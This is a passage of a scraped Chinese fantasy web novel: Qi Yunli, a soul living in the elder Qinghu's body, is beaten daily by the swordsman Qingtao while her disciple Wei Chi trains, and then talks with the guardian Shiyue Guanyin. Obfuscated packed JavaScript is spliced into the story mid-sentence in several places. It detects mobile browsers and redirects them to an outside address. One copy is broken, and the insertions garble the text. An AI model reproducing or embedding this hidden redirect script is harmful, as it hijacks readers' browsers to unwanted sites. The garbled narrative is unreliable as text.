因此外来阵法再怎么汹涌,都不过是路边一点水渍。 齐云鲤不免感慨,果然功法在青滔面前只有挨打的份。 眼角余光突然瞥见一抹似曾相识的影子,她瞬间就冲过去一记重拳,然后用剑猛劈。这一刻她的打法还是将功法遍布周身上下,即使没有刻意施法布阵,常人也难以匹敌。 虽然没空辨认那个影子的身份,反正基本都是面具人。 他果然跑过来报复,不过打她有什么用? 之前那个阵法又不是她的。 面具人的阵法顷刻就被青滔劈碎,然后又被齐云鲤冲过来一顿暴打。他虽然用功法缠绕周身上下,但齐云鲤也是如此,在此基础上她还用剑,那就势不可挡。 打完面具人以后,扎人的感觉明显减轻,她越打越起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16963663|193353||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 劲。 面具人一时没反应过来,只能堪堪用阵法挡住攻击,喘了一口气才赶紧撤离。 齐云鲤见那面具人烟消云散,又见青滔走来,一时间没想到该说什么,谁知她正准备开口,青滔就大吼出声。 “干什么呢,玩过家家?!” 青滔大吼是个极其罕见之事。 不过已经确认完身份,那就没必要再藏着掖着。 毕竟只有跟他在一条路上的人才能调动剑阵。 山林里顿时被咆哮充满,方才还叽叽喳喳的鸟雀被吓得纷纷飞向天空。之前还生机勃勃的地方,现在一片死寂,留下的只有那猛虎咆哮的怒吼。 “你还估量过气浪有多少,方向有几道是吧?!这么能想,怎么不用脑子把阵法撞破!” “用脑子无法撞破吧……” 原本静谧的山林嘈杂起来,骂声不绝于耳,仿佛有雄狮在仰天长啸。 卫池才将身上和四周清理得七七八八,就看见远处走来两个人。是刚才打进山林的那两人,不过此时一个咆哮怒吼,一个低头认错。 这时的白鹭坪还有点狼藉,只是从山林出来的那两人对此已经视若无睹。 卫池看出那个青湖虽然在绞尽脑汁回答,可青滔已经暴跳如雷。 他凶得像只呼啸的雄鹰,那个青湖乖得像只孤零零的小鸡仔,雄鹰恨不得把鸡仔啄死。 这时的青滔与以往截然不同,从始至终他只这么骂过一个人。 只要他骂起来,就再也不管其他。 他的一生只有打斗,因此骂人也是一种打。 青滔连绵不绝骂了一路,齐云鲤就低头认错一路,不敢有其他动作。 两人走到白鹭坪空地这边,齐云鲤被劈头盖脸骂了一路,急需解脱。因此她一看到卫池脸上有伤地上有痕迹,瞬间来了精神,立刻指出问题所在。 “这里跟之前截然不同,看来面具人也到此挑事。” 齐云鲤点出真相,卫池正想假装无事发生,青滔的咆哮就震耳欲聋传来。 “看到没有,这就是你刚刚干的好事!你借力把攻击挡开,结果波及他人!幸好今天没造成太大伤害,要是哪天致人死亡你就以死谢罪吧!” 不过被咆哮的对象是齐云鲤。 她没想骂回去,只是要点明事实。 刚才骂她就算了,现在吼得也太夸张,而且重点是卫池的异常。 “不是,那个……地上和脸上的痕迹不在一线吧。”齐云鲤赶紧说明。 八成就是卫池跟面具人打起来,所以这边一地狼藉。 但青滔完全不接受这件事。 “只能说幸亏他身手敏捷,及时躲闪……别转移话题,你刚刚在干什么,要是只有你一个人,必死无疑!” “这对我来说就是奇耻大辱,死了都能气活过来!”青滔又吼一嗓子,一时不再出声,他打量一下卫池周身,没发现什么严重伤势,只是略微有点血迹。 齐云鲤见状就赶紧说:“这可能是因为面具人现身,刚才在山林里打我们,在山林外打他。” 青滔说得更加夸张:“你故意跟我打进山林,让他独自呆在白鹭坪,因此才会被打!” “不是,刚才是你打我……”齐云鲤十分无奈,“不是我主动的。” “你口口声声说面具人有多难对付,结果没有任何防备?” 齐云鲤无力辩解:“防不胜防,我也没想到他还能来这里……” “都已经这样你还想不到,是不是故意的?!” 那边的骂声犹如龙鸣狮吼,卫池发现这又是令他熟悉的一幕。 青滔只有在骂那个人的时候才会滔滔不绝。 若是没人制止,估计能一直骂到天黑。 于是他开口道:“刚才先有云烟飘到这里,然后才钻进山林。” 这就是说明先后关系,先是白鹭坪,然后才是山林。 因此他被袭击与那个青湖无关。 这句话完全出乎青滔的意料,他看看这对师徒,感觉哪里都有问题,又像哪里都没问题。 不过都是鼎山中人,那么对他来说就没问题。 ——因此他停止骂人。 “明天必须来这里,听到没有?”青滔指了指齐云鲤和卫池两个。 齐云鲤疑惑道:“我也要来?” “你难道还有不满?”青滔又吼起来。 “一切遵照指示,卯时必到。”齐云鲤回答得及其丝滑,仿佛早已习惯,直接放弃挣扎。 卫池还要在此接受鼎山剑法的教学,因此她先离开。 齐云鲤已经被骂得完全忘记来此目的,直到路过卫池旁边,撇见他身上的伤痕,才猛然想起自己是来让他被打的。 而且他周身气息有点乱,明显是刚经过一场大战。虽然之前他若无其事站在这里,又用衣物掩盖伤痕,但伤势不轻。 回想之前从山林出来时,卫池貌似在收拾白鹭坪的混乱。 只不过当她指出问题,就被青滔一顿臭骂。 如今看来她在山林被打,卫池在山林外被打,她在山林里好歹还有青滔帮忙,卫池在山林外就只有一个人。 齐云鲤先被打再被骂,几乎都快忘记这件事。 如今总算找到点来白鹭坪的意义,被打的不止她一个。 她终于兴高采烈起来,一时觉得明天再过来也不算什么。 10. 还是被打 飞泉院里的建筑透着上百年古朴,院内玉兰绽放雪白花朵,即使在夜色下也有朦胧灯火照着花瓣的皎洁。 此地原本时不时有人进出,这时却安静得空无一人。 可室内其实有两个人,只是他们眉头紧锁,像是遇到什么极其困难之事。 “那是鼎山中人。”青滔的眉毛拧成一团,话里没有丝毫喜悦。 “什么?”罗白音完全没料到,那个占据青湖师叔躯体的魂魄来自鼎山,“师伯如何确认?” “她会鼎山剑法。”青滔说出一个直接证据。 罗白音想了想:“或许是偷学?” 鼎山在修道门派里并不算大,但鼎山弟子会传授寻常百姓一些简单道法和招式。因此时常有人偷看下山的鼎山弟子练功,然后趁机多学一点。 鼎山剑法就在那些人的偷学范围内。 不过只是看两眼其实学不到什么,毕竟起到关键作用的是护山大阵。鼎山弟子在其中彼此配合,才能发挥巨大作用。 若是独自一人使用鼎山剑法,最多就是花里胡哨。 毕竟青滔只有一个。 “她还能用护山大阵。”青滔又说出一个证据。 护山大阵是鼎山的重中之重,毕竟这一带不太平,还能安稳修道全靠护山大阵挡住外来干扰。无论周边乱成什么样,鼎山都能屹立不倒。 护山大阵出自开山祖师天一道人之手。 阵法在经年累月的消耗下,会逐渐削弱防护之力,因此凡是鼎山中人都要与护山大阵相连。护山大阵消耗的防护之力就能从鼎山中人这边补充,同时鼎山中人也会被护山大阵保护。 二者相辅相成,鼎山才在危机四伏的地方立住。 鼎山中人一旦遭受鼎山以外的袭击,护山大阵就会保障鼎山中人安然无恙。即便不能全面,但大多数时候已经够用。 因此能用护山大阵的只能是鼎山中人,无论是鼎山弟子还是鼎山长老。 那个占据青湖师叔躯体的魂魄只可能是鼎山中人。 这是一件匪夷所思又证据确凿的事。 ——罗白音再也无法否认。 青湖师叔不是等闲之辈,能使用她的躯体基本难于上青天。 所以更像是她自己准备的那个魂魄,以备不时之需。 她准备这个为的什么? 就在这时,青滔沉声道:“她还用了剑阵。” “……啊?”罗白音完全想不到。 剑阵只是青滔师伯为方便出剑而铺设的阵法,虽然他大力保证其他人也能用,但始终没人能顺利运用,因此大家都当成一个玩笑。 ——如今玩笑也成真? 罗白音十分疑惑:“怎么回事?” “护山大阵防守,剑阵攻击。”青滔说出二者区别。 罗白音简直不敢相信:“她还能用剑阵攻击?” 青滔没说话,只是点点头。 这件事相当稀奇古怪,罗白音半天也没说话。 最后又是青滔开口:“听说禁地出现一个面具人。” 此事原本没人告诉他,罗白音只是要他去打探虚实,背后藏着什么全都没说。但那个青湖带着人炉上白鹭坪,就说出这件事。 一个外来者擅闯鼎山禁地,还杀人越货,这可不是一般严重。 “事情有点错综复杂,我都没搞清楚,所以没说。”罗白音有些无奈。 以青滔的脾气,估计得知此事就要上禁地守着。 谁知道会打成什么样。 罗白音正担心,青滔就说出一个猜测。 “估计那两个人已经打过。” 这里的两人自然是青湖和面具人。 倘若那个魂魄真的是青湖自己准备的,那么他们已经斗了很久。 世间最歹毒的邪魔歪道都无法跟青湖斗。 能跟青湖斗起来的人连止水宗都望尘莫及。 “那个人在禁地先杀死玲珑道人,又将青湖师叔打到崖壁上,再将人炉炼化出人炉之火,”罗白音无可奈何说出完整的事情经过,“那个魂魄附身到青湖师叔躯体上,又跟他打起来,最后在鼎山弟子帮助下才将他打退。” 虽然各方说法不同,但罗白音派人探查过禁地那一带。 然后根据结果推测出之前发生的事。 她能说出这种话,基本已经有九成把握。 “青湖师叔当时浑身浴血。”罗白音点出关键。 等做到此事的绝非等闲之辈。 青滔对此没有疑义,只是略微一叹:“很棘手。” 作为能把人打得跪地求饶的角色,他认为的棘手已经不是常人可以触及。 能擅闯鼎山禁地,还能重伤青湖的,自然不是常人。 “天下找不出第二个。”青滔无奈承认。 他是不施法布阵就能把人打得跪下的角色。 能获得他的认可,绝非常人。 这是一件极其严重的事。 ——可能鼎山上下齐心协力也无可奈何。 于是罗白音问:“师伯有没有办法对付?” “面具人今天打了她和人炉,”青滔难得多说几个字,“我再看看。” 他能这么说那是相当难得。 不过罗白音还是很疑惑:“看什么?” “人炉估计知道什么。” 那个青湖之前说了那么多话,之后人炉又在白鹭坪独自面对偷袭,还能若无其事,可见绝非一般人。 罗白音发现一点言外之意:“面具人用他炼化出人炉之火,难道他还知道……” “只多不少。”青滔说出结论。 人炉其实是凡人的一种状态。 自从真龙消失后,世间龙息混乱。大多数人烦恼不堪,但有人却如鱼得水,反而有所获利。 这就是人炉,他们就像一堆炉火,不被身上重担压垮,反正都能烧个精光。 与此同时,止水宗一类的邪魔歪道也趁机发现人炉妙用。 真龙消失以后,龙息危害四方,但人炉能将龙息危害化为利器。 虽然会吸引龙息,但只要有人炉就没必要再担心。 人炉直接从祸害变成好处。 止水宗为了彻底掌控人炉,就到处宣传他们的危害,以及自己能够震慑。 寻常百姓由于龙息焦虑不安,又因为人炉能吸引龙息更加头痛。 止水宗一说他们就纷纷响应,马上等人来收人炉。 其他修道门派也发现此事,不过止水宗势力庞大,他们都不是对手,只能不闻不问。 虽然鼎山说人炉可以送到他们那边,但因为没有专门派人去接,老百姓都更倾向于通知止水宗。 于是止水宗的人炉源源不断,鼎山的人炉从未出现。 直到前段时间玲珑道人从止水宗那边救出一个,鼎山才总算有人炉。 只不过人炉一来就问题频出,恐怕没那么简单。 能将龙息危害化为利器之人可不是只会束手就擒。 罗白音只能沉默,这是一个相当严重的问题。 ——人炉能吸引龙息或许也能吸引别的。 “炉火可以用来锻造锋刃。”青滔说出结论。 炉火来自人炉,或许锋刃也可以。 宝剑锋从磨砺出,梅花香自苦寒来也许说的就是这种事。 罗白音知道他想干什么,于是不再开口。 次日卯时,太阳刚刚升起,天蒙蒙亮,齐云鲤和卫池已踏上白鹭坪。青滔见他们两人到来只是轻轻点头,然后丢给齐云鲤一本册子就带着卫池去旁边。 齐云鲤见那边在一心一意传授剑法,于是翻开手中册子,只见上面写的是龙息相关事宜。 龙息原本依附于真龙,当时世间太平。 但之后真龙消亡,龙息没有固定依附对象,就去寻找其他可以依附的事物。 可龙息的依附会给万事万物造成压迫,甚至死亡,于是世间因龙息而起的灾害接连不断。 齐云鲤不知道给自己看这个是什么意思,那边还在继续教着,她只好把册子翻了一遍又一遍,老老实实等着。 另一边的青滔虽然在教学,但实际是在打探消息。 “面具人是怎么出现的?”青滔问得很突然。 卫池停了一下才回答:“我突然遭受攻击,然后他跟玲珑道人打起来。” 他之前吞吞吐吐,现在又口齿伶俐,青滔没有丝毫怀疑,毕竟他就这样。 “玲珑道人身亡,青湖才出现?”青滔怀疑道。 “不是,”卫池摇摇头,“玲珑道人跟他打得难解难分,我师父就出来了。” “二对一都打不过?”青滔十分困惑。 卫池很平静:“他先把我师父打到崖壁上,然后趁机杀死玲珑道人。” “她被打到崖壁上?”青滔完全不敢相信,毕竟青湖也不是善茬。 虽然之前罗白音说到过此事,不过当时他完全没留意,此时才发现问题。 能把青湖打到崖壁上,那得是天下无双的绝世高手。 “我师父后来掉下来,又跟面具人打起来。” 卫池自动隐瞒他动手打青湖的事,反正也不重要。 这边两个人远看是在教学,其实是在聊天。 青滔重点询问细节,最后连起来一想,感觉还是有问题,因此又重新问。 双方一问一答重复好几次,最后实在无话可说。 一个时辰之后,青滔让卫池去歇息,然后走过来。 “他基础扎实,学得很快,”青滔简单夸了一句,然后问,“如果有人用龙息压迫得你无法呼吸,同时又还有具体招式对付你,该如何应对?” “先对付具体招式。”齐云鲤回答。 青滔话音不平,似乎在强压怒气:“都快被龙息压迫致死,对付具体招式有什么用?” “龙息不是无法应对吗?”齐云鲤的回答听起来还颇有道理。 青滔大吼一声:“所以就乖乖等死?!” “……不是在对付具体招式吗?”齐云鲤迟疑道。 卫池正喝下一口水,就看到那个青湖被青滔打进山林。 安静的山林一时电闪雷鸣,数不清的鸟雀从林中飞逃出去,山林上空的云朵也赶紧飘走,远离那个凶神恶煞之地。 此情此景令人有些诧异,毕竟青滔不像这类人。 ——从始至终他只见过青滔这么打过一个人。 而那个人在很多个轮回之前就已经死了。 山林那边骇人的打斗声过了好一阵子才停息,在骂声不绝下青滔和齐云鲤走回来,走到卫池面前,青滔伸手一指:“你能不能学学他,怎么好意思站在这里?!” 谁知齐云鲤说:“是你叫我来的……” 于是两人又打进山林。 卫池的剑法学得很顺利,没必要耗费太多时间,因此又能准时去晨练。 晨练结束,孙仲礼跑过来问前几日怎么没见到他,卫池说他大清早去白鹭坪练剑,所以没空过来。 “白鹭坪?是那个……青滔长老?”孙仲礼有点震惊,这可是个传说人物。 卫池纠正:“是青滔师伯。” 这个恭敬模样跟之前交换魂魄之人一致,只有那个青湖才会把青滔气得大打出手,绝对没有其他人敢干那种事。 孙仲礼瞳孔都有些震颤:“他教你剑法?” “师父说我修为受限,还是加强剑法为宜。”卫池解释道。 只不过这是他自己想出来的理由,实际并没有这回事。 “是怎么求他的?”孙仲礼十分好奇。 卫池说得很简单:“没有求,只是稍微说了几句。” “他这样就会教人,有点不可思议……”孙仲礼目瞪口呆好一阵子。 卫池的视线投向孙仲礼腰间长剑,说:“想必你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16963664|193353||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 之前的剑法已经熟练,目前只是暂时有所遗忘,之后加强练习定能恢复到既往水平。” “我也行吗?”孙仲礼听了满脸发光。 卫池点点头:“必然可以。” 接下来的日子就是一边教一边打,教得顺利通畅,打得气势磅礴。 齐云鲤被打了十来天什么也没学到,反而遍体鳞伤、心力交瘁,伤痕血迹都没有,但从头到脚都不舒服,无奈只好去找人疗伤。 她凭印象来到鼎山半山腰,看到院子里晒着很多绷带,便知道自己来对地方。 走进正对院门一个房间,齐云鲤看到有个鼎山弟子,便出声打招呼。 室内那人是个女子,她眉眼锋利,明显不好惹。 李宜敏在整理柜子上的东西,回头看到齐云鲤,察觉她气息不稳,就知道是来看病的。 她神色并不温和,不过问得很客气:“师叔有何不妥?” “打斗伤了筋骨,浑身不舒坦……”齐云鲤有气无力地说。 李宜敏走来并指搭上齐云鲤左手手腕,过一阵子问道:“可曾耗损修为?” “没使用修为,只是单纯被打。”齐云鲤摇摇头。 单纯被打这种事基本不会出现在鼎山,于是李宜敏又问:“何人所为?” “白鹭坪那位……” 李宜敏身子一抖,眉头拧起来,很久没听说过那位动武。 她上下打量一下齐云鲤,见她虽然气息不稳,周身气息却没有残缺。 于是她倒好一杯茶递给齐云鲤,这才慢慢说:“既然未曾消耗修为,那师叔自己动手,疗效更快。” “没有药?”齐云鲤喝了口茶,发现温度刚好,不由轻松下来。 “医药不及修为,身体伤痛的恢复自然越快越好,”李宜敏见齐云鲤的茶喝了一大半,又续上半杯,“用药得几日,用修为只有短短一瞬。” 齐云鲤被说服了,虽然印象中鼎山弟子基本不用修为疗伤。她放下茶杯调动功法,将周身疼痛不适全都抚平。 刚舒一口气,她就看见另一个鼎山弟子走进来,那人先恭敬行礼,然后说:“师叔,弟子陆顷己查看一下您的健康状况。” 这个人看起来好说话很多,似乎你再闹他也不会发火。 齐云鲤伸手过去让他摸脉,陆顷己沉吟片刻说:“脉象确实有些微减弱。” “厮杀时,差之毫厘失之千里,光是这种变化还得修为高才能做到,若是寻常人那只有乖乖等死。因此寻常还是以医药疗伤,以备不时之需,以防突发变故,不然就可能性命不保。”李宜敏解释说明,只是说得有点凶险。 陆顷己叹口气:“之前是我想的太简单,不明白其中关键。” “现在明白也不算太晚,日后注意就行,如今天下龙息动荡不安,因此修为也算一种保命的东西,若是用于疗伤,后果有可能不堪设想。” 那边两人开始专心讨论某种罕见病症,齐云鲤一脸迷惑、迷茫加大惑不解,直到看清那两人手上相连的一丝若有若无的细线,这才反应过来。 刚才两人各自摸脉估计可以借力感应,她这是做了现场示范? 想到之前在白鹭坪发生的事,问题其实不小。 于是齐云鲤问陆顷己:“她这么说你能听明白?” 陆顷己没想到问的会是他,一时有点迷糊,过了一会儿才反应过来:“师姐经验丰富,虽然我才疏学浅,也能说清楚。” “他是个可造之才,稍微说几句就行。”李宜敏补充。 虽然齐云鲤听不懂他们在说什么,不过回想一下貌似可以借鉴。 看来她得去白鹭坪跟青滔说清楚,否则教了十来天也没用。 齐云鲤来到白鹭坪,青滔还是先去传授卫池剑法。 她又在看一本新册子,半天也没看明白是要干什么。 接着又在回话时触怒青滔,然后被打进山林,这都已经形成固定流程。 打完之后她觉得有些话必须得说,于是走到青滔面前。 “厮杀时,差之毫厘失之千里。很多事情只有你才能做到,若是让他照办只能乖乖等死。所以重点还是在基础教学,不要太过深奥。” 青滔擅长的是打架,不是说话。 虽然让卫池过来学剑就没好心,但现在这样可能还会给她添乱。 万一卫池发现可以说个不停,那她不就会被烦死? 齐云鲤虽然听不清那两人在说什么,但是她感觉就是这么回事。 “不说清楚,他要怎么做?”青滔似乎有点气。 齐云鲤点出关键:“不用说太多,教他具体怎么做就行。” “你不是说他可能知道什么?” “也不用一直问吧?”齐云鲤赶紧解释,“有些事他也说不清楚。” ——意思是不要停留在口头上。 青滔有点不满:“你没问才这么说。” ——意思是他能问出来。 “我问过了,什么也没问出来。”齐云鲤强调。 青滔说:“你问得不对。” “你都一贯沉默寡言,怎么可能问对。”齐云鲤不由自主后退几步。 沉默寡言是青滔的一贯作风,不过对于这个青湖他的作风是能打就打。 几步之外的青滔冲过来把齐云鲤打上天。 虽然她一直被打,不过感觉这次下手格外重。 ——像是要发泄什么。 白鹭坪远处的山林地动山摇,仿佛爆发什么重大灾害。 卫池站在原地淡淡望着远山,他没有担心更没有忧愁,只是在沉思。 虽然青湖躯体里的魂魄是鼎山中人,但她跟鼎山弟子不同。 鼎山弟子绝不可能背叛鼎山,但那个青湖是外来者,她会干什么就不好说。 之前青滔问东问西,想弄清在禁地究竟发生什么。 看来他必须搞清楚那个人是怎么回事。 11. 可疑之处 鼎山青滔虽然令人闻风丧胆,不过实际没干什么。 只是一开始打了几个不可一世之人,之后又打了几个赫赫有名之人。 除此以外,什么也没干。 后来打鼎山掌门的事外人都不知道。 因此齐云鲤之前还觉得小说描写有点离谱,世间穷凶极恶之徒数不胜数,青滔只不过是在打架,至于那么夸张吗? 直到被他在白鹭坪山林里打了一遍又一遍,她才明白是怎么回事。 ——就是一旦青滔真心动手,那对手只能任其宰割。 青滔下手很重又精力旺盛,跟他对打基本没有胜算,所以就是被打倒之后又被打起来,起来之后再被打倒。 仿佛是在摊煎饼,两边翻来翻去,只求受热均匀。 他虽然不用阵法,但功法遍布全身上下,即使想偷袭也无可奈何。 ——彻头彻尾的毫无还手之力。 而且他能全面压制对手一切功法,跟他动手只有被打的份。无论修为多高深,青滔都能压倒,然后用剑法打得你跪地求饶。 这次被打的惨不忍睹,齐云鲤才知道以前都只是比划招式。 她都已经躺在地上,结果又被打起来。 到后来齐云鲤就是心无杂念挨打,被打间隙施法疗伤,然后继续被打。 还会打多久,全看青滔什么时候累。 一个时辰之后终于停手。 由于青滔下手不重,因此齐云鲤没有内伤。 只是这种没有内伤,比浑身浴血还累,脾气暴躁的可能觉得不如被打死。 齐云鲤想躺又没地方躺,只能勉强站在那里。 “以后不用来了,回去歇着吧。”青滔转身走出山林,看起来神清气爽。 只能说这句话不算太差,虽然没搞清教学方式要如何调整,不过被打一个时辰的齐云鲤也彻底看开,卫池要怎么说就怎么说吧。 稍有不慎,可能又会被摊煎饼似的打一次。 她慢悠悠走出山林,走两步停一下,等挪到白鹭坪空地时已经过去半个时辰。 齐云鲤又慢慢向外挪去,另一边学剑的卫池像是突然神功大成,以迅雷不及掩耳之势打完一套鼎山剑法。 飞速进步的速度连青滔都不由惊叹。 然后他跟青滔说明情况,就过来扶着师父。 齐云鲤略显狼狈,卫池只是恰到好处扶稳,让她不至于崴脚倒地。 虽然她有点后背发凉,可事到如今也不好拒绝,只能礼貌告辞。 幸亏这时晴空万里,视野也还算开阔,不然她都感觉命不久矣。 两人扮演师徒走出白鹭坪。 “估计他也发现了。”走出白鹭坪,卫池就说出一个秘密。 空中有只飞鸟迅速扑进左侧树林,再也没有踪迹。 齐云鲤见状有点羡慕,不过这话令人毛骨悚然,她只能战战兢兢地问:“发现什么?” 卫池轻飘飘指出:“你是鼎山中人。” 他觉得自己说出一个令人震惊的真相,不过齐云鲤是另一种理解方式。 “青湖不就是鼎山中人?”她十分困惑,不是鼎山中人根本就不可能呆在鼎山,这还要发现什么。 卫池见她没领悟,就补充:“你跟青滔打得难解难分就十分可疑。” “本身青湖就挺能打吧?”齐云鲤更加困惑,依然搞不懂。 其实他们两个完全不是在说同一件事。 卫池指的是她跟青滔大打出手,表现过于强悍,所以青滔一再试探底细,最终确定她就是鼎山中人。 齐云鲤想的是青湖之前在禁地被打得半死也没事,如今跟青滔打得你死我活也很正常。虽然之前发现自己是鼎山中人,但青湖就是鼎山中人,二者就没有区别。 最开始在禁地,面具人喊的那个话就说明青湖跟他较量很长时间。 她能跟面具人打很久,跟青滔打很久也合情合理。 这还能说明什么? “对鼎山剑法熟练到那种程度,不像普通人。”卫池指的是使用青湖躯体的魂魄,即使原本就是鼎山中人,熟练到那个地步也绝非等闲。 齐云鲤还是在原地打转:“青湖本来就不普通吧?” 两人各说各的,半天也说不通。 这话原本能把人吓死,但齐云鲤听得云里雾里,只有莫名其妙。 因此卫池转移话题:“青滔重于实战,前期教学一窍不通。” 他看她被青滔打,本想着顺势说一下对方,谁知那个青湖还怪起他来。 “又不是第一次学,还不会调整学习方式那就是你有问题,”齐云鲤皱眉道,完全是在维护青滔,“他不断问你,那你也可以问他,你什么也没问怪得了谁?” 轮回这么多次,第一次有人帮青滔说话。 卫池一时无话可说,怎么也想不到还会发生这种事。 凶神恶煞的青滔完全不需要他人帮忙。 “你居然敢跟他顶嘴,没打死你就是大发慈悲。”他感觉这是不知死活。 “你最开始还假装胆怯,战战兢兢的头也不敢抬,也太假了,”齐云鲤毫不退让,“他估计是担心你经受不起实战教学所以才会一直问东问西。” 她开始帮青滔解释,这比天方夜谭还稀奇古怪。 ——这种鼎山中人实在找不出第二个。 卫池不甘示弱:“他明显是在怀疑你,否则不可能让你那么多次去白鹭坪。” 青滔怀疑这个青湖,所以交手很多次,八成是想试探底细。 这种情况相当危险,但齐云鲤反而松口气:“那他现在放我出来,就是我已经洗清冤屈,但你还留在那里。” “你依然可疑,只是对他来说不构成威胁。”卫池重点强调。 齐云鲤更是舒了一口气:“一个刚入门的鼎山弟子就能使出整套鼎山剑法,你才可疑。一个可疑之人留在白鹭坪,后果可想而知。” 两人为谁更可疑争了一路,争到最后卫池就彻底沉默。 他原本是想吓唬她方便套出更多情报,结果后来为鸡毛蒜皮的事争来争去。 之前交换魂魄的都是鼎山弟子,这次有个不为人知的鼎山中人,结果不一致似乎也合情合理。 鼎山弟子普通,所以交换魂魄之后也普通。 青湖本人就稀奇古怪,交换魂魄之后匪夷所思也很正常。 不过这个人如此迅速就掌握青湖的技能,有点世间罕见。 即使都是鼎山中人,但双方差距过大,有这个可能吗? 之前在禁地青湖跟面具人交手,打得异常激烈,都有种毁天灭地的感觉。 如今跟青滔比剑的严重程度可能都不到那边的三分之一。 不过如此一来的问题就是既然青湖这么厉害,那她之前都在干什么? 他在想青湖的问题,齐云鲤想起被打的原因,就问:“青滔的话你能听懂吗?” “话有点多,不像他的作风。”卫池只是简单说明。 齐云鲤有点不满:“青滔还保证他能说清楚。” “就是问东问西,不断重复。” 齐云鲤问:“那你刚才怎么那么快?” “总算是回想起既往感觉,所以不再犹豫。”卫池没有说出真实目的,毕竟套情报的事已成空谈。 齐云鲤有些疑惑:“那根本就不是因为他教得好?” “你们两个比剑的教学效果更好。”卫池点评。 “他只会打架。”齐云鲤说出结论。 “所以看他打架效果更好,总好过问东问西。” “他根本就不会教人。”齐云鲤皱眉承认,仿佛经验丰富。 卫池顺势说:“他心里只有打架。” 两个人抱怨一路走回玄镜池,回到房间齐云鲤才发觉这次意外和睦。 之前在一争高下,最后却同仇敌忾? 齐云鲤感觉很不对劲,这不像卫池的风格。 那个人形迹可疑,谁知道又要干什么? 齐云鲤越想越不对劲,因此就躺床上闭眼睛,再次睁开眼时她已经来到那个破庙,石月观音满心欢喜地站在旁边。 阴冷昏暗的破旧房间本该令人心生戒备,但此时此刻齐云鲤觉得再安全不过。 于是她深吸一口气就说:“我跟你说件事。” 石月观音像是逢年过年领红包,高兴地都有点雀跃,仿佛拿到的面额最大。 齐云鲤不想打击她的欢喜,又不能让她希望落空,只好说:“不是什么好事……” “没好事又不是无路可走。”石月观音还说出句貌似很有哲理的话。 齐云鲤只能无奈地说:“我跟面具人打了三次。” 她说得像是下楼买早餐一样普通。 ——但这件事完全不普通。 “怎么还打三次?!”石月观音一脸不可置信,这次数多得都稀松平常。 齐云鲤逐一说清位置:“其实他始终都在附近转悠,第一次他刚好到玄镜池那边就遇到我,第二次是我在鼎山山脚设陷阱引他出来挨打,第三次是他去白鹭坪报复我。” 接连打斗三次已经很稀奇,结果地点还不一致。 换作其他人打完一次就差不多精疲力尽。 这是换着地方打架,打了又打,石月观音不得不感慨齐云鲤精力旺盛。 “玄镜池好像听说过?”石月观音有点疑惑。 齐云鲤不由翻个白眼:“青湖住在玄镜池。” 青湖此人在小说里从未出现,玄镜池也只是在描述鼎山环境时略有提及,并没有剧情出现,只是纯粹背景。 石月观音又问:“你去白鹭坪干什么?” 白鹭坪在小说里可是男主学剑的重要地点。 总算是来到关键所在,齐云鲤先长叹一声,才说:“男主光去晨练之地也不够,我又不会教,所以只能请那位出马,毕竟小说里他也传授男主剑法。” 青滔在小说里的形象略显凶狠,因此大多数读者都觉得他不可冒犯。 但齐云鲤觉得凶一点也没什么大不了,又不是没被凶过。 虽然她在现实世界里没被人凶过。 “那他有没有凶男主?”石月观音马上关心起来。 “难道他还会温柔体贴、和蔼可亲?” “那他肯定会动手啊?”石月观音还有点委屈。 齐云鲤见她这么关心卫池,眉头就一皱:“他确实动手了。” “你是师父也不帮他?”石月观音开始眼泛泪光,话音里还有哭腔。 一瞬间齐云鲤都以为那是她送到幼儿园的小孩。 搞得好像青滔是幼儿园园长,齐云鲤是同班幼师。 小孩被人欺负,结果家长石月观音也开始哭。 她觉得匪夷所思,所以没说话。 石月观音没听到回答,还真的哭起来,仿佛有什么天大委屈。 哭声不大,只是很小的啜泣。 ——但她竟然真的哭了。 冥思苦想一段时间,齐云鲤才说出真相:“被打的只有我。” 话音刚落,哭声就停止。 “……只打你?”石月观音不敢相信。 齐云鲤补充道:“打了十多天……” “你被打十多天也没事?”石月观音看起来更加不敢置信,对方可是令人闻风丧胆的鼎山青滔。 齐云鲤无奈说明:“当然有事,只是我用功法疗伤,所以无伤大雅。” “你还会用功法疗伤?” “之前去医馆那边学的。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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这是指她们两个超出小说范围,也超出面具人所料。 如此一说瞬间就感觉她们两个无比重要。 不过齐云鲤相当惊讶:“——你有什么用?” 这话问得格外突兀,却又似乎合情合理。 石月观音至今也没干什么实事,除了跟齐云鲤说几句话。 她自然没有回答这个问题。 沉默片刻,齐云鲤才恍然大悟:“对了,你守着我。” 听起来像是说石月观音不能直接插手小说事务。 “我要是能插手小说剧情,那就会天下大乱,”石月观音叹了口气,仿佛有理有据,“只能先找有缘人,再等有缘人,最后跟有缘人说明一切。” 这话有点虚无缥缈,不过齐云鲤抓到一个关键:“你说的那个她是谁?” ——要说明一切怎么没说那个人? “那不是现在该说明的东西。”石月观音摇头。 不是现在该说明—— “那你现在该说明什么?”齐云鲤很疑惑。 “面具人可能是罪魁祸首,男主绝对是好人。” 